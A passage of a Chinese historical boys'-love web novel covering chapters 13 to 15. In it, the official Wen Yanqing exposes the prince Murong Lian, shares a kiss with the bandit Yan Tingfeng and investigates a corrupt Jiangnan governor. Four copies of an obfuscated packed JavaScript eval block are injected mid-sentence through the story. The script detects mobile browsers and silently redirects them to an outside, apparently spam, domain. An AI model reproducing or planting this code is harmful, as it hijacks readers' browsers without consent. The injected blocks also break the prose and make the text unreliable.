晏亭风催促着他快出发,一副当家主母的样子,“温大人快去吧,我替你守着这院子,绝对不让一只苍蝇飞进来。” “我等你回来,温大人记得答应我的话。” “不能找外头的野男人。” 他凑到温砚清的耳旁,低声说着。 从南瓜的角度看过来,两人举止亲昵,他熟练的转身背对着,尽量降低自己的存在感。 交代了两句,温砚清匆匆离开。 宫里传来消息,大夏使臣来访,称大夏国太子到江南一带游玩,却遭遇不测,至今不了踪影。 人是在景国地界消失不见的,恐怕大夏国会抓着这个机会做文章。 司烨派人传话,让温砚清负责接见使臣。 马车停在四方馆,大夏使臣已经在里头候着,温砚清调整好衣袖随后进去。 大夏使臣坐在主位喝着茶,一只脚踩在椅子上,压根看不出半分着急的模样。 一看见温砚清进来,表情迅速变得严肃,“温大人是吧,我大夏国的太子,到江南一带游玩,却遭遇不测。” “人是在你们景国不见的,是否应该给我们一个合理的解释?” 温砚清镇定自若,让人重新搬来一张太师椅,顺带沏一壶新茶。 “我们自然会给大夏一个满意的交代,只是有件事,让我着实好奇,大夏国的太子,怎么会突然出现在江南一带?” 近些年来,大夏屡屡进犯,两国关系势同水火,这个时候大夏的太子却突然到江南一带游玩。 甚至,竟收不到一点消息。 只怕是,有奸细内应。 大夏使臣被问得支支吾吾,半天说不出一句话来,先前的气势已然不见。 他轻哼一声解释,“当然是来游玩,促进两国关系,顺便体验一下江南水乡。” “难道连这都不行?” 温砚清放下茶杯,“怎么会,既然人在景国,那就一定能找到。” 他让人拿来纸笔放在大夏使臣面前,“想要找到大夏太子,那就要劳烦你,将你家太子的容貌画下来。” 话音刚落,大夏使臣情绪激动,他冷哼一声将宣纸撕个一干二净。 “你们这是想干什么?太子殿下尊贵无比,岂是什么人都能知道他的容貌?” “这就是你们景国的待客之道!此次前来,若是不能找到我家太子殿下,我大夏必定带兵踏破你们的都城!” “我就给你们五天的时间!五天之后,要是我家太子殿下不能完好无损的出现,后果自负!” 说着,他将杯中的热茶一口闷了,桌上的茶杯碎了几片视作警告,随后甩袖离开。 温砚清脸上的表情越发的难看,这恐怕才是他们真正的目的,借此机会举兵侵犯。 他起身离开,回到府中便将自己锁在书房中不肯出来,桌案上摆放着一张又一张的画像。 传闻中的大夏太子,面目狰狞,杀人如麻,野心勃勃。 常年带着面具,不曾以真容示人,至今未传出一点,关于这位太子的信息,甚至连姓甚名谁都不知道。 温砚清只能根据传闻中,画出一张又一张画像,可他总觉得哪里不对劲。 他轻叹一口气放下笔,屋门被人推开,晏亭风端着点心进来,“大夏使臣来,恐怕并不是单纯的想要找到那位传闻中的太子殿下。” 温砚清抬起头目光犀利,落在他的身上,“你知道的倒是挺多的。” 说着,他站起身伸出手遮住晏亭风的脸,一句一句念出特征。 “面目狰狞,常年带着面具不以真容示众,来去无踪……” 晏亭风轻笑一声抓着他的手腕,“温大人是觉得,我是大夏那位神秘的太子殿下吗?” “我若是那位太子殿下,怎么会在山上当土匪呢?” 温砚清收回自己的手重新坐了回去,“再没有看见大夏太子的真容以前,谁都有可能。” 他当然知道晏亭风不会是大夏太子,想着想着,手中多了一块绿豆糕。 “这可是我新琢磨出来的味道,尝尝。” 晏亭风转身倒了一杯热茶备着,院子里突然传来聒噪的动静,听见声响他下意识皱起眉头来。 “哥哥,听说你外出回来了!” 咋咋呼呼的动静,恐怕只有慕容连。 他揣着几颗橘子进来,献宝似的放在温砚清的面前,“哥哥,这橘子可甜了,我第一个就想到你!” 慕容连丝毫没注意到温砚清身旁的人,他正打算往前靠近一步,半中间横插出现半个身子挡住,“这橘子交给我吧。” “温大人向来不喜欢弄脏自己的手,所以每次都是我亲自剥干净了喂到他嘴里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016822|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏亭风故意加重几个字眼,这讨人厌的家伙,什么时候才能自觉点离开? 温砚清盯着面前的橘子,忽然想到什么似的开口,“那天你说你从江南而来,从江南一带到京都路途遥远。” “你既要躲避追杀,又要赶路,如此艰难,你运气倒是好。” 慕容连像是听不出话中另一层意思,他露出一个笑容来,“这还是多亏了路上遇见的好心人,否则我恐怕小命不保。” 说着,他目光灼灼盯着温砚清,“多亏了哥哥人美心善,将我救了回来。” 难不成是想多了? 温砚清目光犀利落在他的身上,想要透过那双漆黑的眼眸看出点什么。 突如其来的转变看的慕容连莫名其妙,他有些害怕地后退了两步,“哥哥你怎么突然这么看着我,是我脸上有什么东西吗?” “没什么,你身上的伤尚未痊愈,早些回去歇息吧。” 话说到这个份上,慕容连也不好继续赖着,只能三步一回头地离开。 温砚清顺带找了个借口支开了晏亭风,他将南瓜喊到跟前,“既然他们不愿意告诉我们,这位太子姓甚名谁长什么模样,那我们就主动去打探。” 南瓜点着头,行了个礼离开。 从京都到大夏,一来一回,也需要数日,但愿南瓜能早点回来。 刚过去三日,大夏使臣便沉不住气,多次派人送信来,信件上言辞激烈,字字句句都在威胁着。 朝中大臣更是接连向上递折子,有的主张养兵蓄锐,未雨绸缪,有的畏畏缩缩,认为应当割地赔款。 景国看上去繁荣,实则国库亏空,再也经不起一场大战。 其他人更是将炮火转移到温砚清身上。 “陛下,微臣认为此事应当由温大人担责,距离约定时间已经过去了三日,温大人却未曾找出大夏太子。” “我看,没准是有些人和那大夏勾结,就等着举兵来犯,好上前邀功。” 司烨皱起眉头,将手上的折子随手丢在了地上,他揉着眉心烦躁地开口,“温爱卿可有何解释?” 温砚清站了出来,视线和顾靳贤对视上,“请陛下放心,此事定会有个结论。” 算算时间,南瓜也快回来了,下了朝他匆匆离开正打算离开,却被人挡住去路。 他抬起头,看清来人,语气不善,“顾大人这是有何用意?” 顾靳闲垂眸看着他,眸中的情绪让人看不透,“大夏此次前来,找人是假,举兵进犯是真,我倒是想看看,温大人如何收场。” 温砚清后退一步,一如既往的震惊,绕过顾靳闲离开,临走前他停下脚步,“这就不劳烦顾大人操心。” “只是,这大夏太子到江南一带,京中竟一点消息都没有,我若是没记错,这江南总督是顾大人的门生。” 说完,温砚清快步上前坐进马车,接过南瓜递过来的画像。 马车出了宫门口后,他迅速揭开画像,竟不自觉屏住呼吸,在看清画像上那张熟悉的脸时,倒吸一口凉气。 竟然是他! 13. 窗户纸 温砚清将画像折叠起来,收进了衣袖中。 回到府中,他快步朝厢房走去,慕容连瞧见他脸上乐开了花,不顾身上正在换药,半掩着衣裳下床。 “哥哥,你怎么突然来看我了。” 温砚清盯着他那张笑脸,语气淡淡的,“就这样把我当猴耍好玩吗?太子殿下?” “哥哥你在说什么?什么太子殿下,你是在说,我是太子吗?”慕容连无辜地眨着眼睛看上去好像真的什么都不知道。 直到温砚清抽出衣袖中那张画像,他那完美无缺的笑容才出现一丝裂缝。 他强扯出一个笑容,有些不知所措,“哥哥你是不是听信了什么谗言?我真的不是你口中的什么太子,我就是一个落魄公子哥。” 温砚清咬着牙,一字一顿堵住他的话,“大夏太子慕容连,狼子野心,潜入景国就是为了借此机会,带兵进犯。” “我说的没错吧,慕容连?” 就这样被戳破,真没意思。 慕容连一改往日的笑容,他将身上的衣裳穿好,“哥哥这可就冤枉我了,我来这里并不是为了战争。” “我虽是太子,可是我父皇忌惮,他害怕我会抢走他的位置,于是就默认我的兄弟们和我争夺。” “我并不是带着目的靠近你的。”慕容连伸出手勾起温砚清的头发,随意的在手上打转,“哥哥,你愿意相信我吗?” 温砚清面上的厌恶和抗拒一览无余,他后退两步,挥了挥手让南瓜进来,“带这位神秘莫测的太子殿下去见见他的使臣。” 他将手中的画像撕碎得一干二净,想不到,他竟然也会有引狼入室的一天。 可同时也在庆幸,还好他将人带了回来,否则大夏定会借题发挥。 晏亭风不知何时守在门口,等着他出来。 “你怎么来了。” 晏亭风从衣袖中取出一张画像,“本来我是想来给你送这个的,现在看来,你比我更快一步。” 温砚清盯着画像上的慕容连,他目光复杂的看向晏亭风,有时候他真的好奇晏亭风背后的人会是谁。 “你的消息倒是灵通,这次又是谁给你的?” 晏亭风露出一个笑容,言语中带着些许骄傲,他神秘兮兮地贴着温砚清,“温大人猜猜,我是如何在一日之间,拿到这份画像的?” 温砚清来了兴趣,“难不成是你偷来的?” “不愧是温大人,就是聪明。” “你上哪偷的?”温砚清颔首示意他往下说,他倒是想看看,这是如何偷来的。 晏亭风哼笑两声,指着画像尾巴上的落款,“当然是从根源上偷了。” “我潜进吗四方馆,趁大夏使臣外出的间隙偷来的,不过,这个时候他们应该马上就要发现,这张画像不见了。” 温砚清哑然失笑,他看着晏亭风忍不住打趣,“你就不怕被人发现,然后带回去万般折磨?” “怕什么,若是能温大人排忧解难。别说折磨了,就是要我去死,我都愿意。” 晏亭风说得轻描淡写,这个过程有多艰难,温砚清多多少少也能猜到一些。 他盯着那张脸愣神,回过神来他半开玩笑,“你就这么喜欢我?” “温大人还没明白我对你的心意吗,就是让我为了你去……” 话说到一半,唇上多了两根手指组织他往下说,“别说这些丧气的话。” 反应过来自己在做什么后,温砚清收回自己的手,他垂着脑袋,发丝散落着,正好遮挡着泛红的耳朵。 他轻咳两声快步往前走,嘴角却不自觉勾起来,这人满嘴浑话,净会说着好听话哄人开心。 大夏使臣得到消息急匆匆的赶来,仍旧不愿意相信,他们的太子殿下就这样被找了回来。 “你们可别想着随意找个人来糊弄我,若是让我发现了,这件事没完!”大夏使臣念念叨叨一路,却在看清那张脸时,声音戛然而止。 一声惊呼跪在慕容连的面前,“臣罪该万死,没能护着太子殿下,殿下此行受罪了。” 慕容连皮笑肉不笑地盯着他,“是吗?父皇既然派你来,想来是很担心我的安慰。” 他咬着最后两个字,语气中带着一丝轻蔑和不屑。 对于他那个父皇,他比谁都清楚,之所以派人来,并不是真的想要来找他,而是为了借此机会做题发挥。 “殿下这几日可是受了委屈?若是他们虐待你,殿下定要说出来,陛下会为了你讨回公道的!” 使臣说得义正言辞,奈何慕容连不愿意配合他,不耐烦地起身要离开,“我能受什么委屈,不是要带我走吗,还在这里磨蹭什么?” 慕容连一个利索翻身上了马,临走前他的视线落在温砚清身上,他舔了舔尖牙,“温大人,终有一日,我定会八抬大轿迎娶你,当我的皇后。” “等我坐上那个位置以后,我便光明正大的娶你。”说着,他的视线慢慢转移到温砚清身旁站着的人,不顾对方眼底的杀意,大放厥词。 “顺带,杀了你。” 注意到身旁人的动作,温砚清伸出手抓着晏亭风的手腕,示意他冷静下来。 “你若是在这里动手了,可有想过清风寨的老弱妇孺,该如何活下去。” 温砚清的语气软了下来,“若是你出事了,我又该如何?” “我自有分寸,不会做出格的事情,只是听不惯他说的这些话。”晏亭风反手紧握着他的手,温砚清也没有挣脱开,就这样紧贴着旁若无人的牵着。 手心传递的温度,烫得沁出一层薄汗,就这一次,温砚清心里想着,任由晏亭风摆弄着他的手。 “砚清……” 身后传来姜夫人的声音,温砚清一个激灵挣脱开晏亭风的手,若无其事地走到姜夫人面前。 “母亲,你今日怎么回来得这么早?” 姜夫人面色复杂地看着他,又看看站在一旁的晏亭风,刚才的场景她全瞧见了,只是有些不愿意相信。 这些日子来,两人形影不离,同吃同住。 晏亭风对她儿子更是处处上心,吃饭都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016823|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自夹菜。 她抓着温砚清的衣袖,将人扯到一旁,压着声询问,“你告诉为娘的,你和砚清两个人是什么关系?” 温砚清硬着头皮解释,“母亲,你在想什么,当然是朋友。” 这解释如何能让姜夫人信服。 她冷哼一声往下说,“若只是朋友,你们为何要在大庭广众之下牵着手……” “母亲,朋友之间也可以牵手的。”温砚清说的一本正经,好像真是这么一回事。 “你确定?”姜夫人压着嗓子,非要温砚清说清楚,他们之间只是普通得不能再普通得好友,才肯放他离开。 “为娘不是不肯信任你,只求你这辈子安分守己,找个姑娘好好过日子。” “亭风这孩子属实招人稀罕,为娘不希望你把人带坏了。” 温砚清:“……” 到底谁把谁带坏? 要是让母亲知道了温砚清的身份,恐怕就不会这么说了。 姜夫人重新露出一个笑容,拉着晏亭风坐在院子里唠嗑,她的视线不自觉落在那抹显眼的绿上。 “晏姑娘?” 晏亭风嗑瓜子的手僵在原地,他放下手中的瓜子,郑重其事地看着姜夫人。 “姜夫人,有件事我必须和您坦白清楚。” “你有什么可以坦白的?”温砚清咬着牙,眼神示意他不要乱说话,奈何晏亭风权当没看见。 “姜夫人,其实我骗了你,我不是温大人的知音好友,晏姑娘其实是我妹妹。” 温砚清已经站了起来,准备伸手捂着他的嘴,却被这话惊得半天说不出一句话来。 姜夫人面上带着笑,抓着晏亭风的手开始询问这位晏姑娘,“想不到我们竟然是亲家,砚清也真是的,这么大的事情也不和我说一声。” 温砚清重新坐了回去,一只脚踩在他的鞋面上无声威胁,要是再敢多说一句,我一定弄死你! 送走了姜夫人,温砚清沉着脸质问他,“你知不知道你在做什么!” 晏亭风轻笑一声,无辜地看着他,“你母亲已经起了疑心,若是我不这么说,姜夫人会就此罢休吗?” 说着,他拆开一颗糖喂到温砚清的嘴边,语气温柔带着一丝.诱哄,“温大人别生气了,只是有件事让我着实疑惑。” “即便是这样了,为何温大人都不肯和你母亲解释清楚,是我强迫你和我成亲,也是我缠着你不愿意走。” 温砚清轻咳两声背对着他,显然没想到他会这么问。 先前他的确想过,好好的和母亲解释清楚,可时间一久,他却怎么也不愿意去捅破这层窗户纸。 就好像有什么魔力一样,在他耳旁告诉他,这样貌似也挺好的。 当然,温砚清是不会主动告诉晏亭风,这么做潜藏着他的私心,“因为我心善,看你可怜,不愿意拆穿真相让你难堪。” 晏亭风忍不住笑出声,他可怜兮兮地凑到温砚清面前,指着左侧的脸颊,“温大人可以亲我一下吗,我知道温大人心善,可怜可怜我呗?” 14. 亲一下 晏亭风见好就收,温砚清脸皮子薄,要是把人惹生气了,恐怕又要处处躲着他。 他直起身子正打算搭个台阶顺着往下,“不逗……” 耳旁传来轻飘飘的一句话,说出去的话突然被他咽了回去,他忍不住笑出声重复问了一遍,“温大人,你刚刚说什么,我没听清。” 温砚清红着脸压着声,“你低下头。” 可说出去他却又后悔了,明明知道晏亭风惯会做戏,可他却忍不住想要配合这出戏。 晏亭风乖巧地底下脑袋,右脸多了一片温热的触感,仅停留了一下。 他捂着脸半天说不出一句话,红潮蔓延至耳后,温砚清竟然真的亲了…… 平时看着吊儿郎当不正经的一个人,竟然也会脸红成这样? 温砚清瞥了眼随后捏着耳朵快步离开,心口跳动的声音震耳欲聋,都在提醒他刚才发生的事情都是真的。 他真的亲了……晏亭风。 温砚清啊温砚清,你到底被喂了什么迷魂药? 另一边晏亭风还傻站在原地,连身旁的人什么时候走了都不知道。 他伸手摸了摸右脸,忍不住笑出声,刚才发生的事情历历在目,他回过神来重新追了上去。 “温大人,等等我!” 话音刚落,青天白日,一连串的烟火响了起来,晏亭风站在原地盯着远方,过了许久他缓缓开口。 “温大人,我该走了,清风寨出事了。” 出事了? 温砚清皱起眉头,第一时间催促着他快些回去,“让冬瓜跟你一块回去吧,要是有什么事情,他也能帮衬一下。” 晏亭风没答应,他轻笑一声故作轻松,“温大人,一点小事情,我先回去解决一下,很快就回来了,等我。” 他不愿意让温砚清知道发生了什么事情,刚才放的烟火是清风寨特制的,除非是发生了什么重要的事情,否则不会轻易就放。 想到这里,他的脚步又快了几分。 温砚清送他到门口,右眼皮接连跳了两下,心口莫名一阵慌张。 他深吸一口气调整好,有些不放心的让冬瓜悄悄跟上去,“若是出了什么事,第一时间和我汇报。” 话音刚落,南瓜从屋顶上跳下来,从怀中取出一封信,是青州送来的。 温砚清有预感,这封信和晏亭风有关系。 想到这里他拆开信件的动作快了几分,在看清信上所写的内容后,眉头皱得越发的深。 “南瓜,备车。” 青州新上任的知府,不知得了谁的授意,竟然带兵要上山剿匪。 那清风寨地势复杂,瘴气缭绕,一时半会是上不去,可防得住一时防不住一世。 马车刚出城门便被人拦了下来,“温大人,陛下有令,请您跟咱家走一趟。” 陈宏面带笑意,显然是早就知道他会出城离开。 温砚清摆了摆手让车夫掉头,双手搭在膝盖上竟不自觉地发抖,他捏着腰间挂着的汉白玉佩,逐渐冷静下来。 事出蹊跷,背后到底是谁? 宫门前温砚清时不时和陈宏打探,“陈公公,近日宫里可是出了什么大事?” 陈宏皮笑肉不笑,一个劲的打哈哈,“温大人可是抬举我了,咱家就是为陛下办事的人,陛下怎么说我便怎么做。” “至于发生了什么,温大人去了便知道发生了什么事情。” 直觉告诉温砚清,这件事绝对和青州有关。 殿前候着三两个人,温砚清注意到这些人,曾经全是顾靳闲的门生。 瞧见温砚清来了,司烨撑起身子放下最后一枚棋子,盯着必胜的棋盘他露出了一个好脸色。 “温爱卿来得正好,近日来朝中出现一些声音,有人和朕说,温爱卿你……和青州土匪勾结。” 司烨垂眸接过小太监倒来的新茶,他吹了吹热气抿了一小口。 “温爱卿应当知道勾结土匪是什么罪名,只是朕相信你的为人,愿意听你解释。” 候在一旁的御史丞张清站了出来,言词激烈,“陛下,温砚清同青州那猖匪勾结,微臣是亲眼看见的!” 张清轻哼一声继续往下说,“那清风寨的猖匪杀人如麻,欺压老弱妇孺,闹的青州百姓苦不堪言。” “温砚清不仅没有为民除害,反而与之勾结欺压百姓!” 司烨面上没什么表情,看不出喜怒,他放下白瓷杯,视线落在温砚清的身上,“温爱卿可有什么要解释的?” “我没有和土匪勾结欺压百姓,更不知道张大人为何如此颠倒黑白。” 温砚清不卑不亢为自己解释,他瞥向张清几人,挺着背脊质问。 “张大人口口声声说我与土匪勾结欺压百姓,可有证据,若是没有证据那便是欺骗陛下,是死罪。” “若是真的,那便请张大人拿出证据来。” 张清气得发抖,他伸出手颤抖的指着温砚清,被噎得一句话不出来。 忽然他像是想到什么似的,突然转变了语气,“既然温大人并未为与那土匪勾结,那张某自然会向温大人道歉。” “只不过……”他画风一转,目光狡黠,“温大人素来正直,应当以身作则,亲自带兵去剿匪。” 司烨抬了抬眼皮,来了兴致顺着张清的话往下说,“既然如此,温爱卿若是想要证明清白,此事便交由到你身上。” “朕相信温爱卿绝对不会和土匪勾结,只是挡不住悠悠众口。” 温砚清先是震惊地看向张清,随后僵硬地挪动着身子,他跪在司烨面前带着一丝无力。 “陛下,微臣做不到。” 张清像是找到了机会,他轻哼一声语气阴阳怪气,“温大人既然没有和那土匪勾结,又为何下不去手。” 温砚清没理会他,而是提出了一个要求,“陛下,微臣想单独和您解释清楚。” 司烨摆了摆手,示意其他人退下,殿内安静一片只剩下两人,“说吧。” “陛下,青州的土匪动不得。” “动不得?”司烨像是听见了什么笑话一般,他撑起身子走到温砚清面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016824|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“朕是皇帝,整个景国都是朕的。” “区区几个土匪,朕为何动不得?” 温砚清垂着脑袋解释,“微臣曾被那清风寨的土匪头子晏亭风救过一命,那寨子里养着数不尽的老弱妇孺。” “若是端了清风寨,那些没了家的老弱妇孺又该当如何?” 司烨冷笑一声,语气冷冰冰的,“温爱卿这是在怪朕治理不当?” “臣不敢。” “你还有什么不敢的?”司烨重新坐了回去,他随意捏起一颗棋子在手上把玩着。 温砚清突然直起身子,他抬手取下官帽放在面前,“若是陛下定要臣带兵去剿匪,恕微臣做不到。” 司烨盯着那顶官帽皱起眉头,开口训斥,“胡闹!辞官此等大事岂是可以说辞就辞的!” 他揉着眉心不知道在想些什么,随后将手心的棋子重新放了回去,“朕倒也不是不讲理的人,可以让人撤兵回来。” “只是要那清风寨的土匪安分守己,朕是一国之君,要为景国的江山社稷着想,今日是张清逼迫朕,明日又会是谁?” 他长叹一口气让温砚清将官帽戴了回去,“砚清,你知道的,朕最信任的便是你。” “朕今日喊你来,也是为了另一件事,这几日江南一带频繁传来,江南总督赵秦与大夏有密切来往。” “这件事派谁去都不合适,朕思来想去,也只有你。” 殿内燃着的安神香让人昏昏沉沉的,温砚清刚回过神来,便被安排到另一件事去。 他张了张口,欲言又止,最后得到了司烨的准许往下说。 “江南总督赵秦是顾靳闲的学生,这其中是否有顾靳闲的参与,微臣不得而知。” 司烨将棋盘上所有的棋子打乱,凭借着记忆恢复原本的棋局,“砚清,朕说过,朕谁都不信只信你。” “你背后有朕,只管去查,无论是任何人,只要让朕发现勾结外敌,吃里扒外,定不饶恕!” 温砚清一开始没有应下的一部分原因是因为顾靳闲。 这么些年,朝中势力盘根错节,有一半文臣是顾靳闲提拔上来的寒门子弟,若是这件事和他有所关联,恐怕不太好调查。 现在得了准话,他也能放心大胆去查。 “微臣一定查明真相。” 温砚清弓着身子行了一个礼,司烨走到他面前将他扶了起来,“砚清不必多礼,这朝中朕只相信你一人。” “无论查出什么,你只管去做,不论这个人是什么身份,照查不误,这是朕给你的权力。” 温砚清再三保证后转身离开,却没注意到身后,坐在龙椅上的男人将手心紧捏着的白棋子捻成粉末。 计谋得逞似的他勾起嘴角,“交代的事情办得怎么样了?” 陈宏走上前添了一杯热茶邀功,“陛下放心,事情都办妥了,只等着温大人亲自去找出这其中的真相。” 他着重咬着真相两个字,司烨满意地接过那杯热茶,“记住,不要让他发现什么端倪,否则先前的一切,将前功尽弃。” 15. 寂寞难耐 “儿啊,你老实告诉我,你和亭风两个人到底是什么关系?” 姜夫人总归是见过大世面的人,不会被几句话给糊弄过去。 那天她原路折返回去,碰巧就撞见自家儿子亲了晏亭风一口,她守在祠堂想了一整夜。 温砚清一时间竟不知如何回答,这件事也该有个了结。 他安慰似的握着姜夫人的手,“母亲,等我从江南回来,会给你一个解释。” 姜夫人张了张口欲言又止,她点了点头在心里安慰自己,但愿事情的真相并不是她所看到的那般。 她抓着温砚清的手再三交代,“你要记得你父亲生前的遗愿,他希望你将来找个好姑娘成家。” 温砚清垂着眸应了声知道了,随后一个跨步上了马车,他摩挲着腰间的汉白玉佩,脑子里一闪而过司烨说的话。 “不管那猖匪对你有什么救命之恩,往后不要有其他来往了,朕虽然娶了你姐姐,却也是一国之君。” “那些老家伙时时刻刻盯着,只要有一点风吹草动,便会想方设法拖你下水。” 温砚清无奈地摇了摇头,也好,总好过这样不明不白。 马车突然停了下来,温砚清掀开帘子正打算问南瓜怎么回事,却瞥见一抹显眼的紫色。 “大人,晏公子他……” 温砚清垂眸松开了掀帘子的手,语气冷冰冰的,“不用理他,继续赶路。” “温大人,我要和你一块去江南。” 晏亭风察觉到些许不对劲,温砚清对他的态度冷冰冰的,他动作利索的踩上马车钻了进去。 温砚清端坐在中间,手上拿着一本书,连眼神都没分一个给他,这样的态度莫名让晏亭风有些难受。 “是谁惹温大人不开心了吗?” 晏亭风伸出手想要去碰他,手背啪的一声被打开。 “谁允许你上来的,下去!南瓜,把人带走。” 晏亭风屏住呼吸开口,“温大人,即便是犯人定罪,也该有个罪名。” “你是土匪,我是朝廷命官,我不愿意和你接触,怕你玷污了我的仕途,这个理由够吗?” 温砚清目光冷冽,让马夫停了下来,他瞥了一眼身旁愣住的人,让随行的人扣住他。 “把这猖匪抓起来,等到了地方交给赵秦。” 晏亭风没有挣扎也没有继续开口问,只是乖乖的任由随行的官差将自己扣押起来。 刚刚进去江南一带,温砚清示意停下来歇息,南瓜走到他身旁压低声音,“大人,人走了。” 温砚清轻声应了一句,便没在继续往下问。 反倒是南瓜沉不住气,“大人,为何要让人把晏公子抓起来,最后又交代我们露出破绽让他离开?” 这么做的理由温砚清没解释,而是找了其他事情岔开话题。 从京城出发的这一路上,冬瓜向他汇报了三两回,有几个生面孔混进了随行的队伍里。 想方设法混进来,却没有任何动作,大概是司烨安排的人,专门来盯着他。 若是他今天不这么对晏亭风,恐怕明日清风寨便没了。 他们本不该有联系,倒不如就此断了。 江南一带最出名的莫过于余州,赵秦得了上头的指示,一早便等候着。 温砚清换了一身私服,见赵秦要行礼他大跨步上前拦了下来,“赵大人不必行礼,我此次前来不为公事。” “只是听闻这江南水乡是出了名的柔,便借此机会来游玩。” 说着,温砚清故意拍了拍他的肩膀暗示着什么,“我第一次来余州,对这里还不够熟悉,只能靠赵大人安排了。” 赵秦松了口气露出一个笑,“温大人放心,我一定让温大人此行不白来!” 他跟在身后冷笑一声,京中盛传这风光霁月的温大人,公正无私,眼下看只不过是个虚名。 不管他是贪财还是好色,只要搭上了这条线,那他们便是一路人。 想到这里赵秦交代身旁的人,“今晚去望月楼,让温大人体验一下,余州的柔。” 温砚清来了兴趣开口询问,“望月楼?” “温大人今晚便知道望月楼是何种地方,保证让大人您终身难忘!” 到了地方温砚清这才知道,赵秦这是把他带到青楼来了,他强压各种不适,只是赵秦一个劲往他身旁塞人。 “温大人,这可是望月楼的头牌柳青青柳姑娘!” “这位是红姑娘,这都是我为大人精挑细选的。” 眼看两人就要贴上来,温砚清一脸为难地看向赵秦,“恐怕要辜负赵大人的好意了,我不好女色。” 赵秦愣了一下反应过来,随即大笑挥了挥手让其他人离开,“看不出来,温大人竟有龙阳之好。” 温砚清硬着头皮应下,举起酒杯一个劲的给他灌酒。 喝到最后赵秦趴在桌上,一个劲的嘟囔,“温大人好酒量!” 温砚清莞尔一笑,这还要多亏了南瓜给他的解酒药。 来余州的路上他便打听到,赵秦就是个酒蒙子,不管做什么事之前都要先喝酒。 他看着满脸通红的赵秦,试探性地开口,“听说赵大人是顾大人的学生,这么些年顾大人应该很看中你这个学生。” 赵秦撑起身子目光直勾勾地盯着他,温砚清有些紧张地攥着衣角,不应该啊,他给赵秦灌了这么多酒,应当是醉了才对。 他重新倒了一杯酒放在赵秦面前,“赵大人……” 酒还没倒完赵秦一把夺过酒杯,“顾大人对我有提携之恩,只是……” 他轻哼一声语气激烈,“只是这么些年,别说是看重,我能走到这个位置,靠的都是我自己。” “这旁人有个学生,恨不得揠苗助长,顾大人是刚正不阿,好事轮不到坏事全丢给我们,他清高!” 温砚清垂眸有些难以置信,顾靳闲竟然没有帮衬自己这个学生几分。 他安慰似的又倒了一杯酒,“赵大人何必生气,顾大人底下门生众多,兴许对你们都是一样呢?” 赵秦摆了摆手冷笑一声,“是人就有自己偏好的一个,顾大人对待其他人可不是这样。” “也罢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016825|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说这些。” 赵秦满嘴都是对顾靳闲的不满,温砚清的视线落在窗外,到底是做戏演给他看,为顾靳闲开脱,还是说,顾靳闲对自己的学生也是这么刚正不阿? 他找了个借口站起身,“天色不早了,赵大人该走了。” 赵秦顶着醉意送他到门前,临走前还不忘朝他挥手,“温大人!今晚我让人给你安排了一份大礼!” 大礼? 藏不住了吗? 温砚清钻进马车里脸上没了笑容,他倒是要好好看看,这位江南总督给他送了一份怎么样的大礼。 院子里燃着灯,隐约看见一些动静,温砚清皱起眉头推开门,只见两个穿着裸露的男人跪坐在床榻上。 他猛地后退一步将屋门关上,随后咬牙切齿,“赵秦!” “温大人。” 身后传来熟悉的声音,温砚清挪动着身子,晏亭风穿着一身素衣站在他身后。 莫名的,心口腾升出一阵心虚,他后退两步有意无意遮挡着屋子里的场景,“你来做什么。” 晏亭风一脸认真地看着他,“温大人,我来讨要一个理由。” 他走到温砚清的身旁,一只手要去推开门,“外头冷,我们去里面说。” “等等!” 温砚清来不及阻止,只能眼巴巴看着他进去,床榻上的两人早已将身上的衣裳褪去。 这下就是想解释都困难…… 温砚清烦躁地摆了摆手,“还待在那里做什么!出去!” 两人狼狈地穿上衣裳,嘀嘀咕咕地离开,“都已经有人陪着了,还找我们来做什么?” 晏亭风冷笑一声语气讥讽,“怪不得温大人迫不及待要把我踹开,原来是有了新欢。” “我来得还真不是时候,温大人这次要用什么罪名把我抓起来?” 温砚清打断他的阴阳怪气,主动解释,“这人不是我喊来的。” 